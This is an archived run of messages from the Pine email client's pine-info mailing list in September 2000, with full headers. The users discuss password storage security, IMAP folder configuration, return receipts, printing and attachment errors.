http://www.math.washington.edu/~chappa/pine/


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sat, 16 Sep 2000 15:08:02 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA11369;
	Sat, 16 Sep 2000 15:08:01 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA21024;
	Sat, 16 Sep 2000 15:08:01 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA09307;
	Sat, 16 Sep 2000 15:06:53 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA21994
	for <pine-info@lists.u.washington.edu>; Sat, 16 Sep 2000 15:04:13 -0700
Received: from vax.area.com (vax.area.com [216.218.218.27])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id PAA14946
	for <pine-info@u.washington.edu>; Sat, 16 Sep 2000 15:04:13 -0700
Received: (qmail 9426 invoked by uid 1828); 16 Sep 2000 22:04:12 -0000
Message-Id: <Pine.GSO.4.21.0009161503280.8417-100000@vax.area.com>
Date: Sat, 16 Sep 2000 15:04:12 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Matt Ackeret <mattack@area.com>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: PINE-INFO digest 879
In-Reply-To: <Pine.OSF.4.21.0009152020580.51291-100000@goedel1.math.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Fri, 15 Sep 2000, Eduardo Chappa wrote:
>It would still be insecure, if you ever leave your computer unattended,
>your password will be there for any one to see, while you come back. It
>has to be encripted.

But you can say the same thing about leaving pine running..  it's "insecure"
since someone could come up and read your mail.

Or basically any computer running in an office building unless people
lock their accounts/log out every single time they leave their desk.


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sat, 16 Sep 2000 15:16:33 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA31236;
	Sat, 16 Sep 2000 15:16:32 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA21162;
	Sat, 16 Sep 2000 15:16:31 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA22452;
	Sat, 16 Sep 2000 15:15:33 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA58946
	for <pine-info@lists.u.washington.edu>; Sat, 16 Sep 2000 15:14:14 -0700
Received: from euler.math.washington.edu (euler.math.washington.edu [128.95.224.1])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA15458
	for <pine-info@u.washington.edu>; Sat, 16 Sep 2000 15:14:14 -0700
Received: from goedel2.math.washington.edu (goedel2.math.washington.edu [128.95.224.11])
	by euler.math.washington.edu (8.9.3/8.9.3) with ESMTP id PAA98004;
	Sat, 16 Sep 2000 15:13:08 -0700 (PDT)
Message-Id: <Pine.OSF.4.21.0009161508370.34364-100000@goedel2.math.washington.edu>
Date: Sat, 16 Sep 2000 15:14:13 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Eduardo Chappa <chappa@math.washington.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: PINE-INFO digest 879
In-Reply-To: <Pine.GSO.4.21.0009161503280.8417-100000@vax.area.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Matt Ackeret <mattack@area.com>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

*** Matt Ackeret (mattack@area.com) wrote in the pine-info list about "Re:
PINE-INFO digest 879" today:

:) On Fri, 15 Sep 2000, Eduardo Chappa wrote:
:) >It would still be insecure, if you ever leave your computer unattended,
:) >your password will be there for any one to see, while you come back. It
:) >has to be encripted.
:) 
:) But you can say the same thing about leaving pine running..  it's "insecure"
:) since someone could come up and read your mail.
:) 
:) Or basically any computer running in an office building unless people
:) lock their accounts/log out every single time they leave their desk.

Yes, you can say that. The point is not only that someone may read your
mail, is that they would have access to the computer where that e-mail is
stored. Steal all kind of information that is available to them, and all
in your name. I don't disagree with you at all, but a password may also
give them the chance to do anything they like whenever they like too.

-- 
Eduardo
http://www.math.washington.edu/~chappa/pine/


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sat, 16 Sep 2000 21:03:44 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA15638;
	Sat, 16 Sep 2000 21:03:42 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA13886;
	Sat, 16 Sep 2000 21:03:42 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA26519;
	Sat, 16 Sep 2000 21:03:17 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA122822
	for <pine-info@lists.u.washington.edu>; Sat, 16 Sep 2000 21:02:28 -0700
Received: from usceast.cs.sc.edu (usceast.cse.sc.edu [129.252.11.9] (may be forged))
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA19453
	for <pine-info@u.washington.edu>; Sat, 16 Sep 2000 21:02:28 -0700
Received: from pearl.cs.sc.edu (pearl.cs.sc.edu [129.252.130.40])
	by usceast.cs.sc.edu (8.9.3/8.9.3) with ESMTP id AAA65039
	for <pine-info@u.washington.edu>; Sun, 17 Sep 2000 00:02:18 -0400 (EDT)
Received: from localhost (gopalan@localhost)
	by pearl.cs.sc.edu (8.9.3/8.9.3) with ESMTP id AAA24426
	for <pine-info@u.washington.edu>; Sun, 17 Sep 2000 00:02:18 -0400 (EDT)
Message-Id: <Pine.OSF.4.21.0009170000120.24629-100000@pearl.cs.sc.edu>
Date: Sun, 17 Sep 2000 00:02:17 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Gopi Sundaram <gopalan@cs.sc.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: PINE-INFO digest 879
In-Reply-To: <Pine.GSO.4.21.0009161503280.8417-100000@vax.area.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Authentication-Warning: pearl.cs.sc.edu: gopalan owned process doing -bs
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Sat, 16 Sep 2000, Matt Ackeret wrote:

> On Fri, 15 Sep 2000, Eduardo Chappa wrote:
> >It would still be insecure, if you ever leave your computer unattended,
> >your password will be there for any one to see, while you come back. It
> >has to be encripted.
> 
> But you can say the same thing about leaving pine running..  it's
> "insecure" since someone could come up and read your mail.

Basically, the idea is containment of damage. If someone got
administrative privileges on your network or computer through
unauthorized means, you should minimize the amount of information
available to him/her, despite the level of authority on the network.

Stallman has a fine book on applied crypto. There are some very
detailed descriptions of why things must be done certain ways. Take a
look at it if you care to.

Gopi.

-- 
Gopi Sundaram
gopi@cs.sc.edu


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sun, 17 Sep 2000 11:19:59 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA29877;
	Sun, 17 Sep 2000 11:19:57 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA07577;
	Sun, 17 Sep 2000 11:19:57 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA19732;
	Sun, 17 Sep 2000 11:18:46 -0700
Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA60750
	for <pine-info@lists.u.washington.edu>; Sun, 17 Sep 2000 11:17:35 -0700
Received: from usceast.cs.sc.edu (usceast.cs.sc.edu [129.252.11.9])
	by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA19024
	for <pine-info@u.washington.edu>; Sun, 17 Sep 2000 11:17:35 -0700
Received: from pearl.cs.sc.edu (pearl.cs.sc.edu [129.252.130.40])
	by usceast.cs.sc.edu (8.9.3/8.9.3) with ESMTP id OAA68689;
	Sun, 17 Sep 2000 14:17:30 -0400 (EDT)
Received: from localhost (gopalan@localhost)
	by pearl.cs.sc.edu (8.9.3/8.9.3) with ESMTP id OAA26672;
	Sun, 17 Sep 2000 14:17:30 -0400 (EDT)
Message-Id: <Pine.OSF.4.21.0009171414420.26138-100000@pearl.cs.sc.edu>
Date: Sun, 17 Sep 2000 14:17:28 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Gopi Sundaram <gopalan@cs.sc.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: PINE-INFO digest 879
In-Reply-To: <Pine.LNX.4.21.0009180423260.25590-100000@moshpit.cygnus.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Ben Elliston <bje@redhat.com>
X-Cc: Pine-info Mailing List <pine-info@u.washington.edu>
X-Authentication-Warning: pearl.cs.sc.edu: gopalan owned process doing -bs
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Mon, 18 Sep 2000, Ben Elliston wrote:

> > Stallman has a fine book on applied crypto.
>
> Stallman?  Really?  Don't you mean Bruche Schenier?

My mistake. That should've been Stallings. The book is "Cryptography
and Network Security".

Sorry for the misinformation. But I'm sure Stallman does own some fine
books on crypto ;-)

Gopi.

-- 
Gopi Sundaram
gopi@cs.sc.edu


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 19 Sep 2000 01:36:10 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA19904;
	Tue, 19 Sep 2000 01:36:08 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA12748;
	Tue, 19 Sep 2000 01:36:07 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA14083;
	Tue, 19 Sep 2000 01:34:52 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA27194
	for <pine-info@lists.u.washington.edu>; Tue, 19 Sep 2000 01:32:41 -0700
Received: from stork.EMBL-Heidelberg.DE (stork.EMBL-Heidelberg.DE [192.54.41.54])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA18975
	for <pine-info@u.washington.edu>; Tue, 19 Sep 2000 01:32:39 -0700
Received: from black.embl-heidelberg.de (black.EMBL-Heidelberg.DE [192.54.41.49]) by stork.EMBL-Heidelberg.DE (8.8.4/8.8.4) with ESMTP id KAA21621 for <pine-info@u.washington.edu>; Tue, 19 Sep 2000 10:32:34 +0200 (MDT)
Message-Id: <Pine.GSO.4.20.0009190950010.28217-100000@black.embl-heidelberg.de>
Date: Tue, 19 Sep 2000 10:32:24 +0200 (MET DST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Antje Koschel <Antje.Koschel@EMBL-Heidelberg.de>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: imap folders
In-Reply-To: <Pine.GSO.4.21.0009151543020.5292-100000@vax.area.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Sender: koschel@black.embl-heidelberg.de
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN


Hi,

I'm now testing pine in connection with an imapserver (courier-imap-1.0 +
qmail-1.03 + Maildirs).

How can I get an imap folder collection displayed in pine.
I tried the following:
folder-collections= imap-folder {imapserver}[INBOX.%]
        imap {imapserver}INBOX[],
        imap3 {imapserver}inbox.[]



It shows the folders as:
-------------------------------------------------------------------------------------
Folder-Collection <imap-folder>
-------------------------------------------------------------------------------------

INBOX.mail[.]	INBOX.sent-mail[.]
  
-------------------------------------------------------------------------------------
Folder-Collection <imap>
-------------------------------------------------------------------------------------

.mail[.]
.sent-mail[.]

-------------------------------------------------------------------------------------
Folder-Collection <imap3>
-------------------------------------------------------------------------------------

mail[.]
sent-mail[.]


Selecting one of them gives an error messages for all three formats:

[Can't find Incoming Folder INBOX.sent-mail.]


Why does it say  "incoming" folder?
And how do I have to define them?

The incoming folders are defined as:
incoming-folders=mail {imapserver}INBOX.mail,

And they are accessible.

Thanks,
Antje







-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 20 Sep 2000 05:09:50 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA23081;
	Wed, 20 Sep 2000 05:09:49 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA20034;
	Wed, 20 Sep 2000 05:09:48 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id FAA29309;
	Wed, 20 Sep 2000 05:09:20 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id FAA80442
	for <pine-info@lists.u.washington.edu>; Wed, 20 Sep 2000 05:07:36 -0700
Received: from cdfpc24.in2p3.fr (cdfpc24.in2p3.fr [193.48.105.186])
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA04037
	for <pine-info@u.washington.edu>; Wed, 20 Sep 2000 05:07:34 -0700
Received: from localhost (frenkiel@localhost)
	by cdfpc24.in2p3.fr (8.9.3/8.9.3) with ESMTP id OAA09579;
	Wed, 20 Sep 2000 14:07:30 +0200
Message-Id: <Pine.LNX.4.21.0009201359550.9139-100000@cdfpc24.in2p3.fr>
Date: Wed, 20 Sep 2000 14:07:30 +0200 (CEST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: pierre.frenkiel@cdf.in2p3.fr
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: return receipt requests and pine 4.21?
In-Reply-To: <Pine.LNX.4.21.0008272222530.4726-100000@moshpit.cygnus.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: 8BIT
X-To: Ben Elliston <bje@redhat.com>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Authentication-Warning: cdfpc24.in2p3.fr: frenkiel owned process doing -bs
X-Sender: frenkiel@cdfpc24.in2p3.fr
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Sun, 27 Aug 2000, Ben Elliston wrote:

> 	Return-Receipt-To:
> and	Disposition-Notification-To:
> 
> In many cases, remote mailers are not receipt aware and you'll get nothing.
> 
  I get return receipts from all people but those using pine.
  (i.e.it works with Outlook, Eudora, Netscape, at least)

  I found in the Pine doc files absolutely nothing about a possible
  way to do that, and even nothing about the above fields.

  Are the pine developpers looking forward for any making up ?
-- 
Pierre Frenkiel                     e-mail: pierre.frenkiel@cdf.in2p3.fr
Physique Corpusculaire et Cosmologie                 tel: 01.44.27.15.27
Collège de France           home: 01.60.86.58.25  mobile: 06.68.14.73.64  
11 pl. Marcelin Berthelot / F-75231 Paris Cedex 5    fax: 01.43.54.69.89


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 21 Sep 2000 01:14:57 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA05627;
	Thu, 21 Sep 2000 01:14:56 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA19269;
	Thu, 21 Sep 2000 01:14:55 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA10588;
	Thu, 21 Sep 2000 01:14:29 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA63732
	for <pine-info@lists.u.washington.edu>; Thu, 21 Sep 2000 01:13:14 -0700
Received: from moose.erie.net (moose.erie.net [208.138.204.11])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA15690
	for <pine-info@u.washington.edu>; Thu, 21 Sep 2000 01:13:13 -0700
Received: from dsl282.erie.net (IDENT:hermit@dsl282.erie.net [63.160.33.81])
	by moose.erie.net (8.9.2/8.9.1) with ESMTP id EAA07730
	for <pine-info@u.washington.edu>; Thu, 21 Sep 2000 04:11:03 -0400 (EDT)
Message-Id: <Pine.LNX.4.10.10009210410180.719-100000@localhost.localdomain>
Date: Thu, 21 Sep 2000 04:12:48 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: hermit <hermit@erie.net>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Printing
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Envelope-To: <pine-info@u.washington.edu>
X-Sender: hermit@localhost.localdomain
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

I just recently configured my HP Windows printer to print in Linux.  I use
pine exclusively as my email application, and can't seem to setup Pine to
print.  Any help would be appreciated.  I checked the help files, and set
it to *print to ansi* - hitting the *%* key yeilds nothing.  Can someone
help please?

Thanks,

Dick Williams

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 21 Sep 2000 14:32:25 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA27832;
	Thu, 21 Sep 2000 14:32:23 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA08465;
	Thu, 21 Sep 2000 14:32:22 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA05797;
	Thu, 21 Sep 2000 14:31:43 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA32710;
	Thu, 21 Sep 2000 14:28:21 -0700
Received: from pandora.worldonline.nl (pandora.worldonline.nl [195.241.48.140])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA19531;
	Thu, 21 Sep 2000 14:28:20 -0700
Received: from shell.worldonline.nl (shell.worldonline.nl [194.151.128.14])
	by pandora.worldonline.nl (Postfix) with SMTP
	id D8C2D36C00; Thu, 21 Sep 2000 23:29:35 +0200 (MET DST)
Message-Id: <Pine.SOL.3.96.1000921232446.10054A-100000@shell.worldonline.nl>
Date: Thu, 21 Sep 2000 23:28:18 +0200 (MET DST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Bruce Cohen <cohenb@worldonline.nl>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: more header stuff?
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>,
        pine-bugs@cac.washington.edu, PINE-INFO-owner@u.washington.edu,
        pine@cac.washington.edu
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Just encountered an error trying to save an attachment (MS-Word document)
from INBOX (pop3) pine 3.96 (with all the header problems referred to in 
previous msgs) to a file:

Formatting error: non-hexadecimal character in QP encoding: Error writing
to file

The "file" turns out to be 0 bytes. 

Once I've coaxed the msg from the INBOX to mbox (I'm getting good at it!), 
there is no problem exporting the same attachment to a file.

Header related or is it something else?

Bruce Cohen




-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 21 Sep 2000 14:42:25 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA12189;
	Thu, 21 Sep 2000 14:42:24 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA21367;
	Thu, 21 Sep 2000 14:42:24 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA23996;
	Thu, 21 Sep 2000 14:41:58 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA39676
	for <pine-info@lists.u.washington.edu>; Thu, 21 Sep 2000 14:35:30 -0700
Received: from vax.area.com (vax.area.com [216.218.218.27])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id OAA20963
	for <pine-info@u.washington.edu>; Thu, 21 Sep 2000 14:35:29 -0700
Received: (qmail 10399 invoked by uid 1828); 21 Sep 2000 20:37:47 -0000
Message-Id: <Pine.GSO.4.21.0009211336410.15740-100000@vax.area.com>
Date: Thu, 21 Sep 2000 13:37:46 -0700 (PDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Matt Ackeret <mattack@area.com>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: not showing me any part by default?
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN


I sometimes get messages with neither part being shown automatically..

Here's a bit of the header and what pine shows.

Why does this happen?  It seems like usually I see _one_ of the parts
automatically.  Can I make it show me one of the parts automatically?



MIME-Version: 1.0
Content-Type: multipart/alternative;
        boundary="----=_NextPart_000_0014_01BEA919.0FCF4130"
